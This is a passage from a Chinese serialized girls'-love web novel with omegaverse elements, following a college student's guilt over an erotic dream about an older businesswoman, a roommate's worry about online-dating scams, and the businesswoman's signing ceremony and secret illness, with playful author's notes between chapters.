对方既然这样说了,程卿言也不好细问,摇头:“不了。” 她家里有。 再者,她其实对这些东西没兴趣,家里那些只不过是因为姜映送的,她才觉得有点意思。 余简予切好橘子,用盘子端到茶几上:“你们站在那嘀嘀咕咕说什么啊,过来吃橘子。” “这就来。” 程卿言也没再提书签和橘子的事,只要和姜映无关就行了,不过一切有点过分巧合了,难不成云秋染认识的新朋友和姜映认识? 都是碚大的学生? 程卿言有些走神,吃橘子时不小心咬到了橘子皮,苦涩的味道在舌尖蔓延,涩得她拧了拧眉心,她就说她不喜欢吃切成小块的橘子吧。 哎,可惜没人给她剥。 愿意给她剥橘子的人这会儿在干嘛? * 姜映在图书馆安静的楼道里给发的语音,她坐在楼梯上,问清楚了昨天发生了什么事。 和女人结束聊天后,脸上的红晕还没完全消退,叫姐姐对她而言真的是一件羞耻的事情,好在不是让她当面叫,不然她可能羞耻到脑子混乱,连话都说不清楚了。 从程小姐改成了姐姐,以后还能叫回程小姐吗? 姜映为难,她收了改口费,如果又叫回程小姐,是不是显得她太坏了毫无信誉可言。 可是当面叫姐姐…… 太难为情了。 用手揉了揉脸颊,姜映叹气起身,正准备回室内接着复习,抬眸那瞬就瞧见了周青月站在上一层楼的楼道上,张着嘴巴,隔着台阶惊讶地看着她。 周青月很少来图书馆,临近期末了,她好不容易才来一趟,学了会儿就开始打瞌睡,书香助眠,所以才到楼道来,打算吹吹冷风醒醒神。 风还没吹到,她一进楼道就听见了有人在小声地叫姐姐,连着叫了好多声。 她没有偷听的毛病,正准备换个地时,察觉到不对劲儿了。 这声音听着怎么那么像姜映呢? 可姜映怎么可能用这种声音叫人姐姐。 姜映绝不可能做这种事情。 太过好奇,好奇心趋势周青月探头看了一眼,就是这一眼直接让她瞌睡全无,瞬间精神了,甚至有点惊吓的成分在其中。 那几声姐姐没有任何尺度,也没有任何不雅,并且很好听,就像是对恋人撒娇一样,糯糯甜甜中带着些羞涩,若是放在别人身上,很正常。 但放在姜映身上,就令人惊讶了。 天,老天奶。 她清冷寡淡的室友是被脏东西附身了吗? 周青月张着嘴巴,惊的直接愣住了,直到姜映和她对视上,她才回过神,下楼梯走到姜映面前,上上下下看了看她的室友。 “你真是姜映?” 姜映深呼一口气,尴尬地捏了捏掌心,嗯了一声:“我……” “等等,”周青月双手抱着脑袋,信息量过大,“你让我缓一会儿。” 姜映点头,她也得缓缓尴尬。 十几秒后,周青月接受了她听到的声音是姜映发出来的,思忖片刻小声问道:“你是不是谈恋爱了啊?” 姜映摇头:“没有。” 周青月眨眼:“那你刚刚叫谁姐姐?” 不可能用这样的语气叫有血缘关系的人姐姐,那多奇怪。 姜映抿了抿唇,不知道该怎么说:“就是一个年纪比我大的人。” 周青月:…… 解释了,但好像又什么都没解释。 姜映看着她道,诚恳道:“青月,这件事有点复杂,我不能对别人说,抱歉啊。” 她和程卿言签的合同上,明确写明了,她不能将她们之间发生的事情告诉别人,她得对此保密。 透露一点点无关紧要的事,可能无碍,但是只要起了头,日后可能会透露得越来越多。 周青月哎呀一声,不想她难为:“你道什么歉,你的私事,说不说都是你的自由啊,我就是有点惊讶而已,不想说就不说。” 姜映嗯了一声:“那我先进去复习了,你要一起吗?” 周青月:“里面太温暖太闷了,我吹会儿风再进去。” 她有些忧愁地看着姜映离开的背影,会不会是网恋了啊? 网恋没错,但姜映这么纯净的人,万一遇到了玩弄感情的坏女人,或是遇到了诈骗,那可如何是好。 周青月十分担忧,姜映不想说,她也不能逼问,她没回室内,就地坐在了楼道上,拿出手机在网上搜索了一大堆网恋诈骗的套路,准备整理出来发给姜映。 在学习时间,只要不学习,做任何事情都很有趣,周青月津津有味地看了网恋诈骗案例。 好家伙,技术居然这么高超,换作是她,说不准也会被骗。 没注意时间,这一看就是两个多小时,腿都坐麻了。 她坐着缓了缓,准备等腿好的差不多后,就回去接着复习,等待期间她又听见上一层楼道有人在叫姐姐了。 声音很像她的室友林溪。 周青月:…… 楼上传来声音很小,只有姐姐二字的声音大一点,后面具体聊了些什么就听不见了,只是觉得声音很熟悉,而且很快就挂了电话。 周青月拖着半麻的腿爬上去一探究竟,和刚挂电话,正在发愣林溪对视上。 林溪吓了一跳,呼了口气:“青月你怎么在这里?” 周青月:“我在下面一层楼道里玩手机,听见你的声音了,就上来看看。” 林溪颤睫:“那你……” 周青月赶忙说:“你放心,你说话声音小,我没听见你说了些什么。” 林溪嗯了一声,又对着她轻轻笑了笑:“听见了也没事。” 她没叫云秋染的名字,也没说什么私密的话,被人听见了也无妨,不会给云秋染惹上麻烦。 她见她一瘸一拐的,关心到:“你的腿怎么了?” 周青月解释:“没事,玩手机坐麻了,过会儿就好了。” “好吧,我要进去复习了,你一起吗?” “我等脚不麻了再进去。” “要我等你吗?” “不用了。” 相似的事再次发生,周青月又注视着林溪离开的背影,再次忧愁地叹了口气。 林溪虽然没有姜映那么寡淡,但平时也是乖孩子呀,没有谈过恋爱,心里只有学习。 哪会随便撒娇叫人姐姐。 也是网恋吗? 她的室友们到底怎么了。 期末那么忙,毕业季那么忙,居然跑去网恋了。 如果真被骗了坏女人伤害了,她一次性可安慰不了两个人。 甚至发散思维地想,如果姜映和林溪谈的是同一个坏女人,被同一个坏女人骗,那情况就太混乱了。 为了室友的安全,为了寝室的和谐,她重新坐下,放弃了今天的学习安排,再次研究了网恋诈骗案例。 晚上八点出头。 周青月吃了晚饭后回了宿舍,打开电脑认真地复习了一个多小时。 她虽然不怎么爱学习,没什么大志向,好歹也是正儿八经考进碚大的,有自己的一套学习方法,虽然不能和姜映林溪她们比,但在学习上脑子也是灵光的。 不多学,只求不挂科,完成任务后立马收拾好了桌子,拿出平板追剧。 两集更新看完,马上就凌晨了,林溪和姜映一前一后回了寝室。 轮流洗漱,洗衣服。 周青月没玩游戏,手里虽然拿着手机,注意力全在室友身上,偷偷摸摸地观察她们。 她眸光微凝,还真让她发现了不对劲。 咦,姜映后颈上怎么有块红痕。 呀,林溪耳朵上好像有个牙印。 啊,姜映小腿上为什么有道抓痕。 哇,林溪晾衣服时露出的腰好像也有两块红的。 这些是她们自己弄的,还是别人弄的? “你怎么了?”姜映从阳台进去,瞧见周青月脸色不太对,“身体不舒服吗?” 周青月摇头:“没,我就是在想点事情。” 姜映:“是学习上的事吗?” 她们虽然专业不同,但如果对方有需要她帮忙的地方,她会尽力帮忙的。 “和学习没关系,哎呀,我真的没事。” 可能有事的是你们,需要关怀的也是你们! 周青月愁得很。 林溪洗漱完也进来了,坐在位置上拿起手机看了看,片刻后抬眸问:“青月你怎么突然发了那么多网恋诈骗案例在群里?” 周青月抓住机会正经道:“你们平时忙可能不知道,近期网恋上当受骗的人特别多,尤其是大学生最容易被骗,我听说有个寝室三分之二的人都被骗了,你们可得认真看看我发的这些,以防万一知道吗?” “知道了。”林溪感谢她的好意,但她用不上这些。 姜映也说:“我会认真看的。” “别骗我啊。” “不会的。” 听了她们的回答,周青月松了口气,这才安心地爬上床,戴上耳机玩起了游戏。 寝室的大灯已经关了,姜映开着台灯坐在书桌前,手机振了一下。 林溪给她打的消息:【你有没有觉得青月有点反常?】 姜映想了想:【好像是的】 她们回寝室后,周青月就时不时叹气,脸色也不太好。 林溪:【她突然在群里发了那么多网恋诈骗的案例,还叮嘱我们认真看,会不会是她已经被骗了,不想我们重复她的老路?】 姜映抬头,在昏暗的光里和林溪对视一眼,她打字:【有道理】 姜映和林溪平时忙,休息时间不多,晚上经常又经常留周青月一个人在寝室,周青月胆子小又怕黑,可能就给了网上那些骗子可趁之机。 商量讨论过后,她们觉得平时对周青月的关心太少了,一致决定以后去图书馆学习时都叫一叫周青月,以免她孤独。 至于晚上留在宿舍,她们二人谁也无法保证这件事,于是默契地没有提出来。 深夜的寝室较为安静,只有轻微的翻书声和笔尖在纸上划过的声音。 忙到了将近两点,姜映补上了昨天应该做的学习任务,关了台灯轻手轻脚地爬上床,拉床帘时瞧见周青月和林溪的床帘内都透出微弱的光。 大家今夜怎么都没睡? 姜映躺下,片刻后轻轻呼了口气,她以为她在得知昨天发生了什么后,她的专注力就会恢复,但是没有。 依旧会时不时走神,脑子不受控地会出现与程卿言有关的画面。 女人似笑非笑的神情。 女人戏谑的口吻。 女人指尖抚摸她下巴时温热细腻的触感。 女人朝着她笑时上扬的尾音。 以及,女人从她一米五的小床上醒来,掀开被褥那刻,映入她眼帘的白皙如玉的大腿和那一抹淡淡的紫色蕾丝。 姜映受不了自己了,她没有刻意回忆,她甚至强迫暗示自己不要去想,在忙正事时稍微好一点,这会儿静了下来,这些画面像幻灯片一般在她脑子里播放着。 尤其是有几幕对她而言过于暴露的画面,直接让她浑身变得热热的,脸颊滚烫。 寒冬腊月,气温接近零度的深夜,姜映身上出现了一种描述不出来的燥热感,她掀开被子坐了起来,下床在桌上拿了瓶矿泉水,咕噜咕噜喝了几大口。 周青月听见动静,探出头:“映啊你怎么喝凉水,小心感冒。” 姜映说:“我喉咙干的不舒服,想喝点凉的。” 林溪也探出头:“你晚上吃的什么,是不是咸到了?” “吃的牛肉面,不是面的问题,我喝点水就好了,你们别担心。””行吧。” “你过会儿还是不舒服的话,别忍着哦,我们陪你去医务室。” “知道了。” “对了,你们元旦有什么安排吗,要回家吗?”周青月见大家都没有要休息的意思,多聊了几句。 元旦假期过后,紧接着就是期末考,周青月的家就在碚城,但她不会回去,她自己什么德行她最清楚,回去了肯定连书都不会翻开,准备留在学校复习。 “我现在还没确定,”林溪想了想,“你呢姜映?” 姜映放下喝了一半的矿泉水瓶子:“应该会回老家一趟。” 元旦离寒假太近,为了节约点车费,往年她不会回去,但今天她期末考过后会去研究院实习,直到春节都不一定有空,因此准备趁着元旦假期回去看看张芸。 不过离元旦还有十多天,计划可能会变,她目前没告诉张芸她打算回去。 聊了一会儿,姜映重新回床上躺着,热意已经降了下很多,也累了一整天,那些旖旎的画面终究抵不过困意,很快睡了过去。 但是。 她做梦了。 梦见了程卿言。 程卿言依旧穿着她的短袖,双手揽着她的脖子,坐到她腿上时短袖的下摆也随之叠在了腰腹间,腰腹下只有那边薄薄的紫色蕾丝,除此之外,没有任何遮挡。 女人拉起她的手捏了几下,贴在她耳边说:“累了,你动一动。” 梦里的姜映依然不敢乱动,满脸通红,一双手抖得比八十岁老太还厉害,无措又紧张。 女人眉心拧着,坐在她腿上前后扭了扭腰肢,可能是真累到了,不耐烦地呼了一口气,扬起手啪的一下给了姜映一巴掌,还哑着声音骂道。 “狗东西,小废物。” 这一巴掌的触感太真实,直接把女生从睡梦中扇回现实。 姜映猛得睁开眼坐了起来,深深提了一口气,额头上覆满了细密的汗,心脏砰砰砰地跳动着,眼眸中满是难以置信的迷茫。 嘴唇很干,她费劲儿地滚了滚喉咙,垂眸看着自己的双手,以及她的大腿。 明明是梦,可那种肌肤相贴的触感却不像假的,好像程卿言真的握住她的手,坐在了她的腿上晃动着,扭动腰肢时她腿上的热意和摩擦感也过于真实,以及巴掌打在她脸上时,她闻见的她指尖的香味,如同真实存在一般絮绕在她鼻间。 她能形容出来她的味道,她的温度,她的柔软,像火烤的棉花糖的感觉。 姜映甚至觉得大腿那块肌肤有些麻麻的,好似真的被用力的磨蹭过,掌心落上去摸了摸,大腿那里的温度烫得惊人。 这抹温度瞬间将她拉回了现实,姜映回过神,意识到她这是什么梦时,天天崩地裂。 眼里瞬间弥漫出了无尽的自责和无措。 她怎么可能对程卿言做如此混账的梦。 女人一次次帮了她的忙,昨天还特意去她家照顾犯了病的她,她不仅不心怀感恩,反而恩将仇报。 醒来后不仅没有立马忏悔,还去回味,甚至还觉得那是真正发生过的事情。 程卿言如果知道她这些畜生一般的行为,知道她是这种糟糕的人,肯定会对她很失望,可能还会感到伤心。 姜映神色严肃,紧紧抿着唇,悔恨到眼眶泛了红。 抬手。 “啪”的一声响,她给自己一巴掌。 痛意瞬间泛起,通红的巴掌印浮现在她白皙的脸上,她深呼一口气,静静地在床上坐了很久。 她在反思。 可她不知道她是哪里出了问题。 难道是因为她在现实中不小心瞥见了女人的底裤,她就开始做这样的混账梦吗? 女生开始对自己的人品产生了质疑。 直到起床铃声响起,她才从忏悔中回过神,沮丧地拿起枕边的手机关掉了闹钟,从她醒来到现在,已经过了十多分钟了。 她的愈合能力强,即使是渗血的刀伤,一两天的时间就能完全恢复,因此脸颊已经不疼了,巴掌印也彻底消失,仿佛从未存在过一般。 可她犯的错,不能像消失的巴掌印一样,消失在她心里。 姜映良心不安,道德收到了冲击,觉得她很可恨,她无法接受这样的她。 长睫不断颤动着,她红着眼点开微信,诚恳懊恼地道歉:【对不起,姐姐对不起】 作者有话说: 小姜尊重小程,突然做了这样的梦,她觉得很冒昧,加上这是她做过最大尺度的梦,有点点x羞耻,承受不住,所以她会很难受 网友开药,如何治疗小姜的x羞耻 1,姐姐给她一巴掌,就不敢扭捏了 2,多做几次梦,习惯了就好了 3,要姐姐安慰才能好 4,1+2+3,以上皆是 晚安,明天见 第45章 想你 想你 第四十五章 寝室三人上午都有课,都得上早八,但定的起床时间有点不一样。 姜映的最早,她属于高精力人群,休息四五个小时精力就能恢复,需要的睡眠时间不长。 林溪比她晚一点点,周青月最迟,并且是在闹钟响了两三次之后才会爬起来。 在周青月最后一次关掉闹钟,睡眼惺忪下了床,瞧见同样也刚下床的姜映时,她的第一反应是她看错了。 闭上眼睛揉了揉,再睁眼看过去,还真是姜映。 周青月问走过去问:“你今天怎么这个点起床啊?” 要知道,姜映无论有没有早八,都会在六点半左右起床,洗漱好后就去食堂吃早餐,然后找个安静的地方开始自习。 “我在床上想了会儿事情,就没按时下床,”姜映看着她,“林溪刚刚已经出门了,你要先洗漱,还是先用厕所?” 周青月说:“我先去厕所。” 姜映应了声好:“那我先洗漱。” 错开使用,没有打挤,她们很快就收拾好了,换好衣服后一起出门,去了最近的二食堂吃早饭。 寝室楼距离二食堂不远,走两三分钟就能到,但一路上寒风刺骨,冻得人脸疼。 “照这架势,过几天不会真要下雪吧。” “应该要下,天气预报上说今年下雪的概率很大。” “唉,”周青月有些忧愁,“希望老天别在元旦那几天下。” 若是那几天下雪,天气太冷了,她可能真没有离开被窝的勇气,会影响她复习的。 等放寒假随便怎么下都行,她在心里祈祷着。 走得很快,进食堂后暖意就回来了,周青月点了碗热腾腾的红油抄手,姜映买了一杯豆浆和两个鸡蛋,找了空位子坐下。 周青月吃着热乎的抄手,身心都缓和了,正打算问问姜映要不要尝一个,抬眸,瞧见姜映走神地剥着蛋壳,脸色也不太好,她出声:“想什么呢这么入神,你的豆浆都快凉了。” 姜映回神,端起杯子喝了几口热乎的豆浆,她想了想道:“青月。” 周青月:“怎么了?” 姜映正经问:“你有没有觉得我是一个虚伪糟糕的人?” “啊?”周青月不解,“当然没有啊,你为什么这样说?” 姜映这样寡淡安分的人,若是都能和虚伪扯上关系,那世界上还有真实的人吗? 姜映:“我以前也没有这种想法,是最近突然意识到的,就好比我脑子里想的东西,和我呈现出来的,其实是不一样的,我的想法其实比我的行为要邪恶很多。” 想法比行为要邪恶? 周青月好奇:“你想什么了?” 想程卿言了。 脑子不受控的会去想她。 甚至还会做那种不堪入目的梦。 但姜映无法将这些说出来,她不能让别人知道她和程卿言之间的事,只能道:“想了一些对人不礼貌的事情。” “这样啊,很正常啊,人的情绪就是复杂的,我打游戏的时候遇到猪队友,我还想打死她们呢,”周青月万万不会想到姜映说的不是这种不礼貌,而是有关性上的不礼貌,“想一想又不怎么样,我也不会真打人,你就是对自己要求太高了。” 不过她即使知道姜映心中所想,也会觉得那是一件正常的事,她们都成年了,有些生理上的需求,是人类的正常情况。 一直寡淡入白水,无欲无求,那才不正常,得去找医生看看是不是身体出问题了。 是这样吗? 姜映颤了颤眼睫,无法用这些理由来为自己可恶的行为开脱,但她也不想周青月为她担心,嗯了一声:“我知道了,谢谢你。” 周青月:“客气啥呀,我吃了你这么多橘子,我都没道谢。” 起床较迟,时间不是特别充裕,三分钟内吃完早餐,也不能对这个话题进行深聊,两人上课的教室不在一栋楼,背上包各自去了各自的教室。 姜映上午只要一节课,结束后她就去了图书馆。 即使脑子很乱,状态不好,她也不能什么事情都不做,能学一点是一点。 她呼了口气,闷闷地拿出手机看了一眼,和程卿言的聊天内容依旧停留在早上她发的那条道歉消息上。 愧疚,难堪。 可是除了道歉,她不知道怎么弥补自己的过错。 这会儿已经十点了,距离她发消息的时间已经过了四个多小时。 程卿言没有回她消息。 姜映产生一种空落落的感觉。 因为程卿言没回复她消息吗? 她为什么会这样? 她应该刚到庆幸才对,庆幸女人没有回她消息,庆幸女人没有问她在为什么事情道歉。 梦里那些及度冒犯,令人难以启齿的事情,她目前没脸向她讲述,感觉会脏了女人的耳朵。 姜映无精打采,自责地又想给自己一巴掌了,可图书馆全是认真学习的人,她不能因为自己状态不好,弄出声响影响了别人。 深呼一口气,手机息屏放进了衣包里,目光落到电脑屏幕上,试着进入学习状态,暂时不去想那些事。 * 【对不起,姐姐对不起】 程卿言早上醒来,还躺在床上那会儿就瞧见这条消息了。 姐姐。 姜映适应能力还挺强,改口改的挺顺利的,她原以为会像让她改掉对她用敬语那次,得反复好几天才改过来。 那她改口费给的有点少了。 姐姐。 若是发的语音,她会更满意。 程卿言嘴角弯弯,准备下次给她补上。 不过怎么还在给她道歉,她都给她说过两次了,后颈的咬痕只是看起来有些骇人,其实不怎么疼,睡了一觉起来更是不疼了。 程卿言耐心不是很好,不想在这个事情上再做解释,她也比较忙,没回女生消息,放下手机就去洗漱了。 新的一周开始,无法像周末那样悠闲了,城西的项目已经开始着手了,又临近年末,工作只会越来越多,越来越繁琐。 程卿言洗漱好后,出了卧室,化妆师和造型师已经带着东西在客厅候着了。 “久等了,大家吃早饭了没?”她开口问道。 “已经吃过了,程总您不用管我们。”众人道。 程卿言嗯了一声:“稍等我几分钟,我先吃点东西。” “好的程总。” 程氏和苏氏关于城西科技园项目的签约仪式要在今日举行,搞得比较隆重正式,碚城排得上号的集团,记者媒体,以及政府都会派人参加。 程氏上上下下所以职员都很重视这次签约仪式,程卿言既是程家的继承人,又是城西项目的总负责人,仪式上无数双眼睛会落到她身上。 羡慕的,祝福的,嫉妒的,不怀好意的,希望她出错搞砸仪式的。 因此每一处的细节都得重视,不能出任何差错,安排了专业团队来给她化了适合这次签约仪式的妆容。 她底子好,化妆师和造型师也省了很多心,很快就给她弄好了。 “程总您看看还有需要调整的地方吗?” 程卿言看了看镜中的自己,优雅中不失气场,稳重中又带有柔和,大气得体。 “换一条项链,不要带钻的。” “好的程总。” 项链换好后,她满意地点了点头,向大家道谢,便坐进了车里。 何助开着车,秦助理一路上给她汇报事情,到了签约场地,程卿言下没有立即下车,点开了与姜映的聊天界面,指尖往上翻了翻,翻到了最上面女生给她发的那条语音,她放在耳边点了播放,听了几遍。 眉梢上扬,缓解了心中的紧张。 科技园的项目对她而言意义重大,不仅是她进入程氏以来投资最大的项目,还关乎她能否彻底在程氏站稳脚跟,全全接手集团。 要说一点也不紧张是不可能的,有紧张,但不多,只有一点点。 在听了几遍“姐姐求求你”后,那一点点紧张也消失得差不多,程卿言扬了扬唇,下车和她的好友兼搭档余简予,走向属于她的商业时代。 她想要的,即使有阻碍,她有能力,她终究会得到。 哪怕只是短暂地拥有,她也得在能拥有时将其攥紧。 这是她一直以来的行事准则。 签约仪式进展很顺利,有一些想趁机添乱的人,在计划还未开始行动时,就被阻止了,根本没有机会闹到大众眼中。 程卿言和苏敛懿在媒体前微笑握手,拍下来合照,签约仪式顺利结束。 仪式结束后,程卿言并没有闲下来,先和苏敛懿私下谈了一些有关项目的机密,事情比较重要,用了几个小时才聊好,晚上还有一场程氏举行的晚宴,她是东道主,得精神饱满地出席。 在晚宴开始前,化妆师给她补妆那会儿,她眯了一会儿。 大家见她阖上了双眼,以为她睡着了,怕吵醒她,做事过于小心翼翼,显得束手束脚。 “我没睡着,你们不用顾忌我,该做什么就做什么。”程卿言忽然开口。 要是她能那么容易就睡着,平时就不用喝酒喝中药助眠了。 好好睡一觉,于她而言是件奢侈的事。 她忽然想到了她在姜映家里留宿那晚,普通的四件套,普通的木床,她躺下去却很快就睡着了,中途没有惊醒,就这样睡了将近十个小时。 一夜安稳,真是让人怀恋。 程卿言缓缓睁开眼,这会儿才开始思考那晚她睡的那么舒服的原因是什么。 是偶然还是人为? 思忖片刻,程卿言心眸光颤动,里隐隐有了答案。 气息和温度。 姜映的气息和温度让她感到了缱绻舒适。 姜映于她而言很特殊。 在遇见姜映之前,程卿言生来就喜欢与竹子有关的实物。 炒竹笋好吃,她从小就喜欢吃这道菜,吃了这么多年依旧喜欢。 竹子摆件可爱,便宜的昂贵的,无关价格,只要合她心意都会买下来,已经放了很多在家里。 青竹香静心凝神,只要是她常待的地方,就会放青竹香薰。 而姜映的信息素正好是青竹味,并且是只有她可以闻见的青竹味。 越过了科学,越过了一切现有的原理。 只有她可以。 女生好像上天为她定制的礼物,在平平无奇的秋末,在她三十岁生日之前送给她。 想到此处,程卿言微微扬了扬,如真是像她想的这般,那她十分满意这份礼物。 但礼物是有限期的,她们之间明明白白签了合约,为期半年,最多延长至一年,她们就得变成陌生人,彻底断了联系。 这些要求是姜映亲手打进合同里的,当初程卿言也觉得她和女生之间只会存在提供临时标记的关系,不可能有别的牵连,所以她同意了女生这些要求。 时至今日,她还是当初的想法吗? 程卿言忽然生出一种毁约的想法,即使她不遵守约定,女生又能把她怎么样。 但她的契约精神让她做不出光明正大违约的事。 程卿言有些烦躁地拧了拧眉心,不禁在心里骂了几句狗东西,提出那么些防贼一般的要求做什么。 那姜映呢? 现在有没有后悔在合同里写了那些内容? 还是说,依旧是当时的想法,合约到期时会坚持与她断联系。 指尖有一下没一下地点着椅子扶手,程卿言静思片刻,认为前者的可能性更大。 毕竟姜映喜欢她,不是吗? 程卿言回想着对方前些日子对她种种反常的好,在余简予说对方可能喜欢她时,她没有全信,没有确凿证据,她不会直接下定论。 再有就是余简予是她的好友,猜测具有一定偏向性。 但姜映的邻居张阿姨,和她没有任何关系,张阿姨的判断不会对她有任何偏向性,都亲口提了几次姜映喜欢她,那这件事肯定是真的了。 她目前不清楚这份喜欢有多重,但肯定是喜欢的。 拧着的眉心渐渐舒展,程卿言颤了颤眼睫,看着镜中自己完美无暇的面容,女生会喜欢上她,也在情理之中。 那她呢,喜欢她吗? 程卿言从小到大没喜欢过任何人,感情经验为零,但她不是什么都不懂的懵懂年纪了,对自己的情感认知也比较清晰。 对于姜映,她认为目前只能算有好感,或者说有一些微妙的占有欲。 其中一部分好感还与生理需求有关,时不时想亲她的嘴,想听她的声音,想挨着她睡觉,甚至在接受临时标记时,她想女生做一些令她身心更加愉悦的事情…… 但喜欢与爱中,不能只有欲望,也不让欲望占领了主导地位。 至于这份好感,之后是否会演变成喜欢,她不得而知。 她内心觉得不可能,毕竟她能对别人产生好感,已经是实属难得之事了,仅仅是好感,她已经很姜映做出了很多她意料之外的事。 而且她对情情爱爱没兴趣。 怎么可能在这么短的时间里喜欢或是爱上姜映,她才不会如此肤浅。 化妆师给她补好了妆,叫了她一声,程卿言回神,轻轻呼了一口气,不再去想这些有的没的了:“几点了?” 何助道:“七点二十六分。” 宴会在八点开始,若她只是参加宴会的宾客,她还能接着休息三十分钟,但她是东道主,即使程老太太会出席,今夜依旧是她的主场。 程卿言起身,去更衣室换好了礼服,优雅得体地去宴会厅招呼宾客了。 利益交换的场合,不可避免地会喝酒,虽然余简予可以帮她挡一些,但她也得刻意地喝一些。 若是滴酒不沾,容易引起别人的注意,她不可能让别人知道她信息素紊乱的事。 致命的软肋一旦被抓住,等到她的只有抛弃。 程卿言酒量好,饮酒也不上脸,阻隔贴下的腺体会时刻给她反馈她的状态,目前感觉尚好,应该是前天下午alpha给她提供了足量的信息素,发挥了作用。 酒过三巡,宴会结束时,她腺体的状态也不错,很争气地没在关键时刻掉链子,没出现任何异常。 但她的精神已经很疲惫了,送走宾客后,她倚着门疲倦地揉了揉眉心。 今日的工作量虽然大,但也不该累成这样,若在前两年,她肯定吃得消,缓几分钟就能恢复状态。 可现在…… 她能清晰地感觉到精神状态和体力已经大不如前,信息素紊乱患者从发病开始,除了腺体状况会越来越严重,还会慢慢影响其它地方,直到耗尽所有能量,走向灭亡。 “累了?”程老太太走到她身后问到。 闻声,程卿言闭眼又睁开,转身看向程老太太时收起了脸上的倦意,微笑道:“奶奶您过虑了,我还行。” 程老太太静静看了看她,声音苍老:“我有些累了,陪我坐下说话吧。” 程卿言应好,扶着她一同坐到了沙发上:“您想和我说什么?” 程老太太:“科技园的项目你不靠任何人,独自拿下来,这事我看在眼里,你做的很不错。” 程卿言嗯了一声:“我也觉得。” 她本就做的很好,不是那些虚有其表,惹是生非的草包,这一声夸奖她完全担待得起。 听了她这般自信的回复,程老太太有些恍惚地看着她的脸颊,仿佛看见了离开她二十几年的大女儿。 相似的面容,相似的自信。 那是她最疼爱,最骄傲,为程家带来无数荣耀的女儿,就那样离开了她。 外界都说程卿言的性格像自己,其实不然,程卿言更像她的母亲,尤其是在想做的事上,想要的物上,一旦下定决心,就会潜伏着,竭尽全力地去争取。 可是,即使很相似,终究是两个不同的人。 程老太太柔软无比的心又恢复了正常,端起杯子轻抿一口茶:“做的很不错,不代表我认可这件事,你不觉得你太急了?” “卿言,你在急什么?” 老太太的眼神如有实质,直视着她时,程卿言搭在膝盖上的手紧了下,神色怔愣一瞬,随即将其敛了下去:“急吗,我并不觉得,我按照自己的节奏做事。” 老太太这会儿不想与她争辩,静静和她对视着,片刻后起身道:“别让自己太累,你想要的以后都会是你的,我回房休息了。” “好。” 待老太太的背影消失在视线中时,程卿言的背脊才稍稍松了下去,静坐片刻,起身离开了宴会厅。 秦助理开车送她回月泊林。 程卿言侧着头,看着车窗外掠过的街景,气温虽然很低,由于快到元旦了,各大商场开始为节日预热搞了很多活动,因此街道上的行人并不少,多数是家长带着孩子出来玩。 等红绿灯时,程卿言摇下车窗,眸光落在了脸上满是笑意的一家三口上,小女孩看起来只有五六岁,疯玩出了汗,家长会蹲下来和孩子平视着,细心给孩子擦了汗,再笑着亲亲孩子的额头。 很普通的场景,但程卿言没经历过。 她不知道那种来自长辈的轻吻是什么感觉。 她也不知道在童年时期和同龄人一起玩是什么感觉。 八岁以前,她的生活全在研究院,入目都是白色,她的双亲忙于实验,没时间陪伴她,八岁之后她回到程老太太身边,开始接受老太太严格的培养,早早地接触同龄人不会接触到的课程。 行为举止,吃穿用度,也都由老太太说了算。 偶尔因为孩子的天性,会有想休息的想法,只要她敢说出来,迎接她的不是假期,而是老太太恨铁不成钢的眼神,而是落在她掌心的戒尺。 因此,在听见老太太说让她别那么累时,她甚至怀疑老太太是不是知道她信息素紊乱的事了。 不然为什么叫她休息。 但这个念头也只冒出来了几秒,就被她否定了,老太太对没有太多感情,若是知道她患有信息素紊乱,不会花心思培养她,让她接手程氏。 程卿言呼了口气,心口有些闷,脑子里一直絮绕着老太太那句“你在急什么”。 她在急什么? 急着彻底掌控集团,不受限于人? 这是她对身边亲近之人的说辞。 但真的是这样吗,没有别的原因了吗? 有的。 可能也是怕药物研究失败,信息素紊乱无药可医,这会是她过的最后一个冬天。 她有太多想做的事情。 她没时间去做了。 如果姜映是上天给她的礼物,可能也是她此生收到的最后一份礼物。 临别礼物。 临别人间。 这些潜藏在内心深处,连她都一直忽略掉的情绪,因老太太的一句话,一时间涌上了她的心头。 * 姜映是在回寝室的路上接到了程卿言打来的电话。 她站在寒风中,颤着眼睫看着屏幕上显示的号码,她早已熟记在心里的十一位数字,轻轻按了接通,声音也是轻轻的:“喂。” 女人似在不满她打招呼的方法,哼了一声。 姜映捏了捏掌心,低垂着头看着脚下的枯叶,低声道:“姐姐……” 程卿轻轻笑了一声:“你在干嘛?” 姜映说:“我刚从图书馆出来,准备回寝室。” 程卿言:“哦。” 姜映也跟着哦了一声,算是回应,而后她就没讲话了。 “在想什么?” “没什么?” 程卿言问:“你没有话要对我说吗?” 其实是有的。 比如说今天吃了什么,教授在课上讲了什么,可是她因为她做的那些不堪的梦,让她愧对女人,总觉得说话都是脏了对方的耳朵,闷声道:“好像没有。” 程卿言静了几秒,对于这样的回复,难得没骂她,轻叹一口气:“你可以问问我在想什么。” 姜映颤着眼睫,听她的吩咐:“你在想什么?” 程卿言说:“在想你,想你来校门口见我。” 作者有话说: 以前,橙总炒竹笋 以后,竹笋炒橙总 (都好吃!!!) 小姜以后不再x羞耻,释放天性后,在橙总受不了骂骂咧咧让停时,会变成什么样? 1,依旧会乖乖姐姐的话,立马停。 2,装作没听见,乖孩子难得的怀心思,一声不吭,加速x 3,会哄姐姐,姐姐可以的最棒了,边哄边x 4,网友补充,小姜学习!!《 》 45-50 第46章 哄睡 哄睡 第四十六章 姜映是跑着去校门口的。 寒冷的风刮着她的脸,一盏盏路灯略过她的头顶,奔跑时的影子投在了地上,路灯将其绘成了一本连环画。 碚城大学校园很大,程卿言所在的南门碰巧是离图书馆最近的门。 也是和其它门比较出来的近,实际距离并不是很近。 平时得走十多分钟才能到,但女生奔跑的速度很快,耐力也很好,两三分钟就能跑过去。 这会儿已是深夜,天寒地冻,又临近期末,大部分学生不是在图书馆复习,就是在寝室休息,很少有出来闲逛的。 宽敞的校道上只有姜映在全力奔跑着。 但她在距离校门口仅有七八百米的樟树下停了下来,不是因为累,而是她想停下。 姜映半弯着腰,双手撑在膝盖上喘着气,平复着略微急促的呼吸。 心跳很快。 砰砰砰砰砰砰。 猛烈地跳动。 风声盖不住,树叶磨蹭时沙沙作响的声音盖不住。 一下一下飞速地跳动着。 短时间内极速的奔跑会让心跳加速,很正常的生理现场,不会有人对此有困惑。 可姜映清楚,她的心跳不是因为奔跑才变得这么快,而是在女人说想她那一秒就开始变化了,在女人挂断电话前说等她那一秒,心跳快到了她无法忽视的程度。 